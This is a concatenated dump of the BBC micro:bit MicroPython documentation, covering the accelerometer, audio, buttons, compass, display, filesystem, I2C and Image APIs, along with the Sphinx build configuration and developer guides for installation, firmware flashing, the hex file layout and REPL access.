Functions ========= .. py:function:: get_x() Get the acceleration measurement in the ``x`` axis, as a positive or negative integer, depending on the direction. The measurement is given in milli-g. By default the accelerometer is configured with a range of +/- 2g, and so this method will return within the range of +/- 2000mg. .. py:function:: get_y() Get the acceleration measurement in the ``y`` axis, as a positive or negative integer, depending on the direction. The measurement is given in milli-g. By default the accelerometer is configured with a range of +/- 2g, and so this method will return within the range of +/- 2000mg. .. py:function:: get_z() Get the acceleration measurement in the ``z`` axis, as a positive or negative integer, depending on the direction. The measurement is given in milli-g. By default the accelerometer is configured with a range of +/- 2g, and so this method will return within the range of +/- 2000mg. .. py:function:: get_values() Get the acceleration measurements in all axes at once, as a three-element tuple of integers ordered as X, Y, Z. By default the accelerometer is configured with a range of +/- 2g, and so X, Y, and Z will be within the range of +/-2000mg. .. py:function:: current_gesture() Return the name of the current gesture. .. note:: MicroPython understands the following gesture names: ``"up"``, ``"down"``, ``"left"``, ``"right"``, ``"face up"``, ``"face down"``, ``"freefall"``, ``"3g"``, ``"6g"``, ``"8g"``, ``"shake"``. Gestures are always represented as strings. .. py:function:: is_gesture(name) Return True or False to indicate if the named gesture is currently active. .. py:function:: was_gesture(name) Return True or False to indicate if the named gesture was active since the last call. .. py:function:: get_gestures() Return a tuple of the gesture history. The most recent is listed last. Also clears the gesture history before returning. .. note:: Gestures are not updated in the background so there needs to be constant calls to some accelerometer method to do the gesture detection. Usually gestures can be detected using a loop with a small :func:`microbit.sleep` delay. Examples -------- A fortune telling magic 8-ball. Ask a question then shake the device for an answer. .. include:: ../examples/magic8.py :code: python Simple Slalom. Move the device to avoid the obstacles. .. include:: ../examples/simple_slalom.py :code: python ================================================ FILE: micropython/docs/audio.rst ================================================ Audio ******* .. py:module:: audio This module allows you play sounds from a speaker attached to the Microbit. In order to use the audio module you will need to provide a sound source. A sound source is an iterable (sequence, like list or tuple, or a generator) of frames, each of 32 samples. The ``audio`` modules plays samples at the rate of 7812.5 samples per second, which means that it can reproduce frequencies up to 3.9kHz. Functions ========= .. py:function:: play(source, wait=True, pin=pin0, return_pin=None) Play the source to completion. ``source`` is an iterable, each element of which must be an ``AudioFrame``. If ``wait`` is ``True``, this function will block until the source is exhausted. ``pin`` specifies which pin the speaker is connected to. ``return_pin`` specifies a differential pin to connect to the speaker instead of ground. Classes ======= .. py:class:: AudioFrame An ``AudioFrame`` object is a list of 32 samples each of which is a signed byte (whole number between -128 and 127). It takes just over 4 ms to play a single frame. Using audio =========== You will need a sound source, as input to the ``play`` function. You can generate your own, like in ``examples/waveforms.py``. Technical Details ================= .. note:: You don't need to understand this section to use the ``audio`` module. It is just here in case you wanted to know how it works. The ``audio`` module consumes samples at 7812.5 Hz, and uses linear interpolation to output a PWM signal at 32.5 kHz, which gives tolerable sound quality. The function ``play`` fully copies all data from each ``AudioFrame`` before it calls ``next()`` for the next frame, so a sound source can use the same ``AudioFrame`` repeatedly. The ``audio`` module has an internal 64 sample buffer from which it reads samples. When reading reaches the start or the mid-point of the buffer, it triggers a callback to fetch the next ``AudioFrame`` which is then copied into the buffer. This means that a sound source has under 4ms to compute the next ``AudioFrame``, and for reliable operation needs to take less 2ms (which is 32000 cycles, so should be plenty). Example ======= .. include:: ../examples/waveforms.py :code: python ================================================ FILE: micropython/docs/ble.rst ================================================ Bluetooth ********* While the BBC micro:bit has hardware capable of allowing the device to work as a Bluetooth Low Energy (BLE) device, it only has 16k of RAM. The BLE stack alone takes up 12k RAM which means there's not enough memory for MicroPython to support Bluetooth. .. note:: MicroPython uses the radio hardware with the :mod:`radio` module. This allows users to create simple yet effective wireless networks of micro:bit devices. Furthermore, the protocol used in the :mod:`radio` module is a lot simpler than BLE, making it far easier to use in an educational context. ================================================ FILE: micropython/docs/button.rst ================================================ Buttons ******* .. py::module:: microbit There are two buttons on the board, called ``button_a`` and ``button_b``. Attributes ========== .. py:attribute:: button_a A ``Button`` instance (see below) representing the left button. .. py:attribute:: button_b Represents the right button. Classes ======= .. py:class:: Button() Represents a button. .. note:: This class is not actually available to the user, it is only used by the two button instances, which are provided already initialized. .. py:method:: is_pressed() Returns ``True`` if the specified button ``button`` is currently being held down, and ``False`` otherwise. .. py:method:: was_pressed() Returns ``True`` or ``False`` to indicate if the button was pressed (went from up to down) since the device started or the last time this method was called. Calling this method will clear the press state so that the button must be pressed again before this method will return ``True`` again. .. py:method:: get_presses() Returns the running total of button presses, and resets this total to zero before returning. Example ======= .. code:: import microbit while True: if microbit.button_a.is_pressed() and microbit.button_b.is_pressed(): microbit.display.scroll("AB") break elif microbit.button_a.is_pressed(): microbit.display.scroll("A") elif microbit.button_b.is_pressed(): microbit.display.scroll("B") microbit.sleep(100) ================================================ FILE: micropython/docs/compass.rst ================================================ Compass ******* .. py:module:: microbit.compass This module lets you access the built-in electronic compass. Before using, the compass should be calibrated, otherwise the readings may be wrong. .. warning:: Calibrating the compass will cause your program to pause until calibration is complete. Calibration consists of a little game to draw a circle on the LED display by rotating the device. Functions ========= .. py:function:: calibrate() Starts the calibration process. An instructive message will be scrolled to the user after which they will need to rotate the device in order to draw a circle on the LED display. .. py:function:: is_calibrated() Returns ``True`` if the compass has been successfully calibrated, and returns ``False`` otherwise. .. py:function:: clear_calibration() Undoes the calibration, making the compass uncalibrated again. .. py:function:: get_x() Gives the reading of the magnetic field strength on the ``x`` axis in nano tesla, as a positive or negative integer, depending on the direction of the field. .. py:function:: get_y() Gives the reading of the magnetic field strength on the ``y`` axis in nano tesla, as a positive or negative integer, depending on the direction of the field. .. py:function:: get_z() Gives the reading of the magnetic field strength on the ``z`` axis in nano tesla, as a positive or negative integer, depending on the direction of the field. .. py:function:: heading() Gives the compass heading, calculated from the above readings, as an integer in the range from 0 to 360, representing the angle in degrees, clockwise, with north as 0. .. py:function:: get_field_strength() Returns an integer indication of the magnitude of the magnetic field around the device in nano tesla. Example ======= .. include:: ../examples/compass.py :code: python ================================================ FILE: micropython/docs/conf.py ================================================ # -*- coding: utf-8 -*- # # BBC Microbit Micropython documentation build configuration file, created by # sphinx-quickstart on Tue Oct 20 10:41:30 2015. # # This file is execfile()d with the current directory set to its # containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # All configuration values have a default; values that are commented out # serve to show the default. import sys import os import json # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. sys.path.insert(0, os.path.abspath('..')) # -- General configuration ------------------------------------------------ # If your documentation needs a minimal Sphinx version, state it here. #needs_sphinx = '1.0' # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom # ones. extensions = [ 'sphinx.ext.autodoc', 'sphinx.ext.doctest', 'sphinx.ext.intersphinx', 'sphinx.ext.todo', 'sphinx.ext.mathjax', 'sphinx.ext.ifconfig', 'sphinx.ext.viewcode', ] # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix of source filenames. source_suffix = '.rst' # The encoding of source files. #source_encoding = 'utf-8-sig' # The master toctree document. master_doc = 'index' # General information about the project. project = u'BBC micro:bit MicroPython' copyright = u'2015-2016, Multiple authors' # The version info for the project you're documenting, acts as replacement for # |version| and |release|, also used in various other places throughout the # built documents. # yotta_module = json.load(open('../module.json')) # The short X.Y version. version = yotta_module['version'] # The full version, including alpha/beta/rc tags. release = version # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. #language = None # There are two options for replacing |today|: either, you set today to some # non-false value, then it is used: #today = '' # Else, today_fmt is used as the format for a strftime call. #today_fmt = '%B %d, %Y' # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. exclude_patterns = ['_build'] # The reST default role (used for this markup: `text`) to use for all # documents. #default_role = None # If true, '()' will be appended to :func: etc. cross-reference text. #add_function_parentheses = True # If true, the current module name will be prepended to all description # unit titles (such as .. function::). #add_module_names = True # If true, sectionauthor and moduleauthor directives will be shown in the # output. They are ignored by default. #show_authors = False # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # A list of ignored prefixes for module index sorting. #modindex_common_prefix = [] # If true, keep warnings as "system message" paragraphs in the built documents. #keep_warnings = False # -- Options for HTML output ---------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. # html_theme = 'default' # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. #html_theme_options = {} # Add any paths that contain custom themes here, relative to this directory. #html_theme_path = [] # The name for this set of Sphinx documents. If None, it defaults to # " v documentation". #html_title = None # A shorter title for the navigation bar. Default is the same as html_title. #html_short_title = None # The name of an image file (relative to this directory) to place at the top # of the sidebar. #html_logo = None # The name of an image file (within the static path) to use as favicon of the # docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 # pixels large. #html_favicon = None # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". #html_static_path = ['_static'] # Add any extra paths that contain custom files (such as robots.txt or # .htaccess) here, relative to this directory. These files are copied # directly to the root of the documentation. #html_extra_path = [] # If not '', a 'Last updated on:' timestamp is inserted at every page bottom, # using the given strftime format. #html_last_updated_fmt = '%b %d, %Y' # If true, SmartyPants will be used to convert quotes and dashes to # typographically correct entities. #html_use_smartypants = True # Custom sidebar templates, maps document names to template names. #html_sidebars = {} # Additional templates that should be rendered to pages, maps page names to # template names. #html_additional_pages = {} # If false, no module index is generated. #html_domain_indices = True # If false, no index is generated. #html_use_index = True # If true, the index is split into individual pages for each letter. #html_split_index = False # If true, links to the reST sources are added to the pages. #html_show_sourcelink = True # If true, "Created using Sphinx" is shown in the HTML footer. Default is True. #html_show_sphinx = True # If true, "(C) Copyright ..." is shown in the HTML footer. Default is True. #html_show_copyright = True # If true, an OpenSearch description file will be output, and all pages will # contain a tag referring to it. The value of this option must be the # base URL from which the finished HTML is served. #html_use_opensearch = '' # This is the file name suffix for HTML files (e.g. ".xhtml"). #html_file_suffix = None # Output file base name for HTML help builder. htmlhelp_basename = 'BBCMicrobitMicropythondoc' # -- Options for LaTeX output --------------------------------------------- latex_elements = { # The paper size ('letterpaper' or 'a4paper'). #'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). #'pointsize': '10pt', # Additional stuff for the LaTeX preamble. #'preamble': '', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, # author, documentclass [howto, manual, or own class]). latex_documents = [ ('index', 'BBCMicrobitMicropython.tex', u'BBC micro:bit MicroPython Documentation', u'Multiple authors', 'manual'), ] # The name of an image file (relative to this directory) to place at the top of # the title page. #latex_logo = None # For "manual" documents, if this is true, then toplevel headings are parts, # not chapters. #latex_use_parts = False # If true, show page references after internal links. #latex_show_pagerefs = False # If true, show URL addresses after external links. #latex_show_urls = False # Documents to append as an appendix to all manuals. #latex_appendices = [] # If false, no module index is generated. #latex_domain_indices = True # -- Options for manual page output --------------------------------------- # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [ ('index', 'bbcmicrobitmicropython', u'BBC Microbit Micropython Documentation', [u'Multiple authors'], 1) ] # If true, show URL addresses after external links. #man_show_urls = False # -- Options for Texinfo output ------------------------------------------- # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ ('index', 'BBCMicrobitMicropython', u'BBC micro:bit MicroPython Documentation', u'Multiple authors', 'BBCMicrobitMicropython', 'One line description of project.', 'Miscellaneous'), ] # Documents to append as an appendix to all manuals. #texinfo_appendices = [] # If false, no module index is generated. #texinfo_domain_indices = True # How to display URL addresses: 'footnote', 'no', or 'inline'. #texinfo_show_urls = 'footnote' # If true, do not generate a @detailmenu in the "Top" node's menu. #texinfo_no_detailmenu = False # -- Options for Epub output ---------------------------------------------- # Bibliographic Dublin Core info. epub_title = u'BBC Microbit Micropython' epub_author = u'Multiple authors' epub_publisher = u'Multiple authors' epub_copyright = u'2015, Multiple authors' # The basename for the epub file. It defaults to the project name. #epub_basename = u'BBC Microbit Micropython' # The HTML theme for the epub output. Since the default themes are not optimized # for small screen space, using the same theme for HTML and epub output is # usually not wise. This defaults to 'epub', a theme designed to save visual # space. #epub_theme = 'epub' # The language of the text. It defaults to the language option # or en if the language is not set. #epub_language = '' # The scheme of the identifier. Typical schemes are ISBN or URL. #epub_scheme = '' # The unique identifier of the text. This can be a ISBN number # or the project homepage. #epub_identifier = '' # A unique identification for the text. #epub_uid = '' # A tuple containing the cover image and cover page html template filenames. #epub_cover = () # A sequence of (type, uri, title) tuples for the guide element of content.opf. #epub_guide = () # HTML files that should be inserted before the pages created by sphinx. # The format is a list of tuples containing the path and title. #epub_pre_files = [] # HTML files shat should be inserted after the pages created by sphinx. # The format is a list of tuples containing the path and title. #epub_post_files = [] # A list of files that should not be packed into the epub file. epub_exclude_files = ['search.html'] # The depth of the table of contents in toc.ncx. #epub_tocdepth = 3 # Allow duplicate toc entries. #epub_tocdup = True # Choose between 'default' and 'includehidden'. #epub_tocscope = 'default' # Fix unsupported image types using the PIL. #epub_fix_images = False # Scale large images. #epub_max_image_width = 0 # How to display URL addresses: 'footnote', 'no', or 'inline'. #epub_show_urls = 'inline' # If false, no index is generated. #epub_use_index = True # Example configuration for intersphinx: refer to the Python standard library. intersphinx_mapping = {'http://docs.python.org/': None} # on_rtd is whether we are on readthedocs.org, this line of code grabbed from docs.readthedocs.org on_rtd = os.environ.get('READTHEDOCS', None) == 'True' if not on_rtd: # only import and set the theme if we're building docs locally import sphinx_rtd_theme html_theme = 'sphinx_rtd_theme' html_theme_path = [sphinx_rtd_theme.get_html_theme_path()] # otherwise, readthedocs.org uses their theme by default, so no need to specify it ================================================ FILE: micropython/docs/devguide/contributing.rst ================================================ Contributing ------------ Hey! Many thanks for wanting to improve MicroPython on the micro:bit. Contributions are welcome without prejudice from *anyone* irrespective of age, gender, religion, race or sexuality. Good quality code and engagement with respect, humour and intelligence wins every time. * If you're from a background which isn't well-represented in most geeky groups, get involved - *we want to help you make a difference*. * If you're from a background which *is* well-represented in most geeky groups, get involved - *we want your help making a difference*. * If you're worried about not being technical enough, get involved - *your fresh perspective will be invaluable*. * If you think you're an imposter, get involved. * If your day job isn't code, get involved. * This isn't a group of experts, just people. Get involved! * This is a new community, so, get involved. We expect contributors to follow the Python Software Foundation's Code of Conduct: https://www.python.org/psf/codeofconduct/ Feedback may be given for contributions and, where necessary, changes will be politely requested and discussed with the originating author. Respectful yet robust argument is most welcome. Checklist +++++++++ * Your code should be commented in *plain English* (British spelling). * If your contribution is for a major block of work and you've not done so already, add yourself to the AUTHORS file following the convention found therein. * If in doubt, ask a question. The only stupid question is the one that's never asked. * Have fun! ================================================ FILE: micropython/docs/devguide/devfaq.rst ================================================ .. _devfaq: ============= Developer FAQ ============= .. note:: This project is under active development. Please help other developers by adding tips, how-tos, and Q&A to this document. Thanks! Where do I get a copy of the DAL? A: Ask Nicholas Tollervey for details. ================================================ FILE: micropython/docs/devguide/flashfirmware.rst ================================================ .. _flashfirmware: ================= Flashing Firmware ================= Building firmware ----------------- Use yotta to build. Use target bbc-microbit-classic-gcc-nosd:: yt target bbc-microbit-classic-gcc-nosd Run yotta update to fetch remote assets:: yt up Start the build with either yotta:: yt build ...or use the Makefile:: make all The result is a microbit-micropython hex file (i.e. ``microbit-micropython.hex``) found in the build/bbc-microbit-classic-gcc-nosd/source from the root of the repository. The Makefile does some extra preprocessing of the source, which is needed only if you add new interned strings to ``qstrdefsport.h``. The Makefile also puts the resulting firmware at build/firmware.hex, and includes some convenience targets. Preparing firmware and a Python program --------------------------------------- tools/makecombined hexlify Flashing to the micro:bit ------------------------- **Installation Scenarios** * :ref:`Windows ` * :ref:`OS X ` * :ref:`Linux ` * :ref:`Debian and Ubuntu ` * :ref:`Red Hat Fedora/CentOS ` * :ref:`Raspberry Pi ` ================================================ FILE: micropython/docs/devguide/hexformat.rst ================================================ .. _hexformat: ================= Firmware Hex File ================= When MicroPython is built, the compiler produces an `Intel Hex `_ file containing the MicroPython firmware. Additional data can then be added to this file to contain information about the MicroPython version, or the Python code to execute on start-up. The general memory layout used is: - ``0x00000000``: Start of MicroPython firmware - up to 248 KBs - ``0x0003e000``: Start of appended script (optional) - up to 8 Kbs - ``0x100010c0``: UICR customer[16] register, start of MicroPython information - 28 bytes .. note:: If you append any data or modify the Intel Hex file, please ensure the addresses of the data stored progress in incremental order. If there is an address jump backwards DAPLink will fail to flash the file. Appended script format ---------------------- MicroPython checks the first 2 bytes at address ``0x0003e000`` for a magic string to indicate if there is an appended script. If the magic string is found, it will automatically execute the Python code stored there, unless there is a main.py file stored in the MicroPython filesystem. - ``0x0003e000``: 2 bytes "MP" - ``0x0003e002``: 2 bytes, little endian integer for the length (in bytes) of the appended script (not counting this 4 byte header) - ``0x0003e004``: Script stored as bytes, for MicroPython to decode using utf-8. UICR format ----------- The User Information Configuration Registers (UICR) is a region of Non-Volatile Memory available to store user-specific settings. The first 128 Bytes are reserved, but we can use the other 128 Bytes to store any arbitrary data. MicroPython stores the following information, in little endian, starting from the UICR customer[16] register: - ``0x100010c0``: 4-byte integer with magic value ``0x17eeb07c`` - ``0x100010c4``: 4-byte integer with value ``0xffffffff`` - ``0x100010c8``: 4-byte integer with value ``0x0000000a`` (log base 2 of the flash page size, being 1024 bytes) - ``0x100010ca``: 2-byte integer with value ``0x0000`` (start page of the firmware) - ``0x100010cc``: 2-byte integer storing number of pages used by the firmware - ``0x100010d0``: 4-byte integer with value ``0xffffffff`` - ``0x100010d4``: 4-byte integer with the address in the firmware of the version string - ``0x100010d8``: 4-byte integer with value ``0x00000000`` Steps to create the firmware.hex file ------------------------------------- The yotta tool is used to build MicroPython, but before that takes place additional files have to be generated by the Makefile in preparation for the build, and additional data is added to the hex file after. Running the ``make all`` command executes the following steps: - The ``tools/makeversionhdr.py`` script creates the ``microbitversion.h`` file with macros containing build information - Yotta builds the source and creates a bare hex file with just the firmware - The ``tools/adduicr.py`` script adds the UICR to the bare hex - The final hex file is placed in ``build/firmware.hex`` - The user can optionally append a script using ``tools/makecombinedhex.py`` (or other tools) ================================================ FILE: micropython/docs/devguide/installation.rst ================================================ .. _install-dev: ============ Installation ============ This section will help you set up the tools and programs needed for developing programs and firmware to flash to the BBC micro:bit using MicroPython. Dependencies ------------ Development Environment ----------------------- You will need: * git * yotta Depending on your operating system, the installation instructions vary. Use the installation scenario that best suits your system. Yotta will require an ARM mbed account. It will walk you through signing up if you are not registered. Installation Scenarios ---------------------- * :ref:`Windows ` * :ref:`OS X ` * :ref:`Linux ` * :ref:`Debian and Ubuntu ` * :ref:`Red Hat Fedora/CentOS ` * :ref:`Raspberry Pi ` .. _microbit-windows: Windows ~~~~~~~ When installing `Yotta `_, make sure you have these components ticked to install. - python - gcc - cMake - ninja - Yotta - git-scm - mbed serial driver .. _microbit-osx: OS X ~~~~ .. _microbit-linux: Linux ~~~~~ These steps will cover the basic flavors of Linux and working with the micro:bit and MicroPython. See also the specific sections for Raspberry Pi, Debian/Ubuntu, and Red Hat Fedora/Centos. .. _microbit-debian-ubuntu: Debian and Ubuntu ^^^^^^^^^^^^^^^^^ :: sudo add-apt-repository -y ppa:team-gcc-arm-embedded sudo add-apt-repository -y ppa:pmiller-opensource/ppa sudo apt-get update sudo apt-get install cmake ninja-build gcc-arm-none-eabi srecord libssl-dev pip3 install yotta .. _microbit-redhat: Red Hat Fedora/CentOS ^^^^^^^^^^^^^^^^^^^^^ .. _microbit-rpi: Raspberry Pi ^^^^^^^^^^^^ .. _next-steps: Next steps ---------- Congratulations. You have installed your development environment and are ready to begin :ref:`flashing firmware ` to the micro:bit. ================================================ FILE: micropython/docs/devguide/repl.rst ================================================ .. _dev-repl: ================== Accessing the REPL ================== REPL (Read-Evaluate-Print-Loop) allows the micro:bit to read and evaluate code in real-time as you write it. Accessing the REPL on the micro:bit will require you to: * Determine the communication port identifier for the micro:bit * Use a program to establish communication with the device For versions of Windows before 10 you might need to install the Mbed serial driver, the instructions for which are found here: https://os.mbed.com/docs/latest/tutorials/windows-serial-driver.html Using a serial communication program ------------------------------------ The `Mu Editor `_ has built-in support for REPL and even includes a real-time data plotter. Some other common options are `picocom` and `screen`. You will need to install a program and read the appropriate documentation to understand the basics of connecting to a device. Determining the port -------------------- The micro:bit will have a port identifier (tty, usb) that can be used by the computer for communicating. Before connecting to the micro:bit we must determine the port identifier. **Windows** When you have installed the aforementioned drivers the micro:bit will appear in device-manager as a COM port. **Mac OS** Open Terminal and type ``ls /dev/cu.*`` to see a list of connected serial devices; one of them will look like ``/dev/cu.usbmodem1422`` (the exact number will depend on your computer). **Linux** In terminal, type ``dmesg | tail`` which will show which ``/dev`` node the micro:bit was assigned (e.g. ``/dev/ttyUSB0``). Communicating with the micro:bit -------------------------------- Once you have found the port identifier you can use a serial terminal program to communicate with the micro:bit. **Windows** You may wish to use Tera Term, PuTTY, or another program. In Tera Term: * Plug in the micro:bit and open Tera Term * Select Serial as the port * Go to Setup -> Serial port. Ensure the Port is the correct COM port. * Choose a baud rate of ``115200``, data 8 bits, parity none, stop 1 bit. In PuTTY: * Plug in the micro:bit and open PuTTY * Switch the Connection Type to Serial * Ensure the Port is the correct COM port * Change the baud rate to ``115200`` * Select 'Serial' on the menu on the left, then click 'Open' **Mac OS** Open Terminal and type ``screen /dev/cu.usbmodem1422 115200``, replacing ``/dev/cu.usbmodem1422`` with the port you found earlier. This will open the micro:bit's serial output and show all messages received from the device. To exit, press Ctrl-A then Ctrl-\\ and answer Yes to the question. There are many ways back to a command prompt including Ctrl-A then Ctrl-D, which will detach screen, but the serial port with still be locked, preventing other applications from accessing it. You can then restart screen by typing ``screen -r``. **Linux** Using the ``screen`` program, type ``screen /dev/ttyUSB0 115200``, replacing ``/dev/ttyUSB0`` with the port you found earlier. To exit, press Ctrl-A then \\ and answer Yes to the question. There are many ways back to a command prompt including Ctrl-A then Ctrl-D, which will detach screen. All serial output from the micro:bit will still be received by ``screen``, the serial port will be locked, preventing other applications from accessing it. You can restart screen by typing ``screen -r``. Using ``picocom``, type ``picocom /dev/ttyACM0 -b 115200``, again replacing ``/dev/ttyACM0`` with the port you found earlier. To exit, press Ctrl-A then Ctrl-Q. ================================================ FILE: micropython/docs/display.rst ================================================ Display ******* .. py:module:: microbit.display This module controls the 5×5 LED display on the front of your board. It can be used to display images, animations and even text. .. image:: scroll-hello.gif Functions ========= .. py:function:: get_pixel(x, y) Return the brightness of the LED at column ``x`` and row ``y`` as an integer between 0 (off) and 9 (bright). .. py:function:: set_pixel(x, y, value) Set the brightness of the LED at column ``x`` and row ``y`` to ``value``, which has to be an integer between 0 and 9. .. py:function:: clear() Set the brightness of all LEDs to 0 (off). .. py:function:: show(image) Display the ``image``. .. py:function:: show(value, delay=400, \*, wait=True, loop=False, clear=False) If ``value`` is a string, float or integer, display letters/digits in sequence. Otherwise, if ``value`` is an iterable sequence of images, display these images in sequence. Each letter, digit or image is shown with ``delay`` milliseconds between them. If ``wait`` is ``True``, this function will block until the animation is finished, otherwise the animation will happen in the background. If ``loop`` is ``True``, the animation will repeat forever. If ``clear`` is ``True``, the display will be cleared after the iterable has finished. Note that the ``wait``, ``loop`` and ``clear`` arguments must be specified using their keyword. .. note:: If using a generator as the ``iterable``, then take care not to allocate any memory in the generator as allocating memory in an interrupt is prohibited and will raise a ``MemoryError``. .. py:function:: scroll(value, delay=150, \*, wait=True, loop=False, monospace=False) Scrolls ``value`` horizontally on the display. If ``value`` is an integer or float it is first converted to a string using ``str()``. The ``delay`` parameter controls how fast the text is scrolling. If ``wait`` is ``True``, this function will block until the animation is finished, otherwise the animation will happen in the background. If ``loop`` is ``True``, the animation will repeat forever. If ``monospace`` is ``True``, the characters will all take up 5 pixel-columns in width, otherwise there will be exactly 1 blank pixel-column between each character as they scroll. Note that the ``wait``, ``loop`` and ``monospace`` arguments must be specified using their keyword. .. py:function:: on() Use on() to turn on the display. .. py:function:: off() Use off() to turn off the display (thus allowing you to re-use the GPIO pins associated with the display for other purposes). .. py:function:: is_on() Returns ``True`` if the display is on, otherwise returns ``False``. .. py:function:: read_light_level() Use the display's LEDs in reverse-bias mode to sense the amount of light falling on the display. Returns an integer between 0 and 255 representing the light level, with larger meaning more light. Example ======= To continuously scroll a string across the display, and do it in the background, you can use:: import microbit microbit.display.scroll('Hello!', wait=False, loop=True) ================================================ FILE: micropython/docs/filesystem.rst ================================================ Local Persistent File System **************************** It is useful to store data in a persistent manner so that it remains intact between restarts of the device. On traditional computers this is often achieved by a file system consisting of named files that hold raw data, and named directories that contain files. Python supports the various operations needed to work with such file systems. However, since the micro:bit is a limited device in terms of both hardware and storage capacity MicroPython provides a small subset of the functions needed to persist data on the device. Because of memory constraints **there is approximately 30k of storage available** on the file system. .. warning:: Re-flashing the device will DESTROY YOUR DATA. Since the file system is stored in the micro:bit's flash memory and flashing the device rewrites all the available flash memory then all your data will be lost if you flash your device. However, if you switch your device off the data will remain intact until you either delete it (see below) or re-flash the device. MicroPython on the micro:bit provides a flat file system; i.e. there is no notion of a directory hierarchy, the file system is just a list of named files. Reading and writing a file is achieved via the standard Python ``open`` function and the resulting file-like object (representing the file) of types ``TextIO`` or ``BytesIO``. Operations for working with files on the file system (for example, listing or deleting files) are contained within the :py:mod:`os` module. If a file ends in the ``.py`` file extension then it can be imported. For example, a file named ``hello.py`` can be imported like this: ``import hello``. An example session in the MicroPython REPL may look something like this:: >>> with open('hello.py', 'w') as hello: ... hello.write("print('Hello')") ... >>> import hello Hello >>> with open('hello.py') as hello: ... print(hello.read()) ... print('Hello') >>> import os >>> os.listdir() ['hello.py'] >>> os.remove('hello.py') >>> os.listdir() [] .. py:function:: open(filename, mode='r') Returns a file object representing the file named in the argument ``filename``. The mode defaults to ``'r'`` which means open for reading in text mode. The other common mode is ``'w'`` for writing (overwriting the content of the file if it already exists). Two other modes are available to be used in conjunction with the ones describes above: ``'t'`` means text mode (for reading and writing strings) and ``'b'`` means binary mode (for reading and writing bytes). If these are not specified then ``'t'`` (text mode) is assumed. When in text mode the file object will be an instance of ``TextIO``. When in binary mode the file object will be an instance of ``BytesIO``. For example, use ``'rb'`` to read binary data from a file. .. py:class:: TextIO BytesIO Instances of these classes represent files in the micro:bit's flat file system. The TextIO class is used to represent text files. The BytesIO class is used to represent binary files. They work in exactly the same except that TextIO works with strings and BytesIO works with bytes. You do not directly instantiate these classes. Rather, an appropriately configured instance of the class is returned by the ``open`` function described above. .. py:method:: close() Flush and close the file. This method has no effect if the file is already closed. Once the file is closed, any operation on the file (e.g. reading or writing) will raise an exception. .. py:method:: name() Returns the name of the file the object represents. This will be the same as the ``filename`` argument passed into the call to the ``open`` function that instantiated the object. .. py:method:: read(size) Read and return at most ``size`` characters as a single string or ``size`` bytes from the file. As a convenience, if ``size`` is unspecified or -1, all the data contained in the file is returned. Fewer than ``size`` characters or bytes may be returned if there are less than ``size`` characters or bytes remaining to be read from the file. If 0 characters or bytes are returned, and ``size`` was not 0, this indicates end of file. A ``MemoryError`` exception will occur if ``size`` is larger than the available RAM. .. py:method:: readinto(buf, n=-1) Read characters or bytes into the buffer ``buf``. If ``n`` is supplied, read ``n`` number of bytes or characters into the buffer ``buf``. .. py:method:: readline(size) Read and return one line from the file. If ``size`` is specified, at most ``size`` characters will be read. The line terminator is always ``'\n'`` for strings or ``b'\n'`` for bytes. .. py:method:: writable() Return ``True`` if the file supports writing. If ``False``, ``write()`` will raise ``OSError``. .. py:method:: write(buf) Write the string or bytes ``buf`` to the file and return the number of characters or bytes written. ================================================ FILE: micropython/docs/i2c.rst ================================================ I²C *** .. py:module:: microbit.i2c The ``i2c`` module lets you communicate with devices connected to your board using the I²C bus protocol. There can be multiple slave devices connected at the same time, and each one has its own unique address, that is either fixed for the device or configured on it. Your board acts as the I²C master. We use 7-bit addressing for devices because of the reasons stated `here `_. This may be different to other micro:bit related solutions. How exactly you should communicate with the devices, that is, what bytes to send and how to interpret the responses, depends on the device in question and should be described separately in that device's documentation. Functions ========= .. py:function:: init(freq=100000, sda=pin20, scl=pin19) Re-initialize peripheral with the specified clock frequency ``freq`` on the specified ``sda`` and ``scl`` pins. .. warning:: Changing the I²C pins from defaults will make the accelerometer and compass stop working, as they are connected internally to those pins. .. py:function:: scan() Scan the bus for devices. Returns a list of 7-bit addresses corresponding to those devices that responded to the scan. .. py:function:: read(addr, n, repeat=False) Read ``n`` bytes from the device with 7-bit address ``addr``. If ``repeat`` is ``True``, no stop bit will be sent. .. py:function:: write(addr, buf, repeat=False) Write bytes from ``buf`` to the device with 7-bit address ``addr``. If ``repeat`` is ``True``, no stop bit will be sent. Connecting ---------- You should connect the device's ``SCL`` pin to micro:bit pin 19, and the device's ``SDA`` pin to micro:bit pin 20. You also must connect the device's ground to the micro:bit ground (pin ``GND``). You may need to power the device using an external power supply or the micro:bit. There are internal pull-up resistors on the I²C lines of the board, but with particularly long wires or large number of devices you may need to add additional pull-up resistors, to ensure noise-free communication. ================================================ FILE: micropython/docs/image.rst ================================================ Image ***** .. py:module:: microbit The ``Image`` class is used to create images that can be displayed easily on the device's LED matrix. Given an image object it's possible to display it via the ``display`` API:: display.show(Image.HAPPY) .. image:: image-smile.png There are four ways in which you can construct an image: - ``Image()`` - Create a blank 5x5 image - ``Image(string)`` - Create an image by parsing the string, a single character returns that glyph - ``Image(width, height)`` - Create a blank image of given size - ``Image(width, height, buffer)`` - Create an image from the given buffer Classes ======= .. py:class:: Image(string) Image(width=None, height=None, buffer=None) If ``string`` is used, it has to consist of digits 0-9 arranged into lines, describing the image, for example:: image = Image("90009:" "09090:" "00900:" "09090:" "90009") will create a 5×5 image of an X. The end of a line is indicated by a colon. It's also possible to use a newline (\n) to indicate the end of a line like this:: image = Image("90009\n" "09090\n" 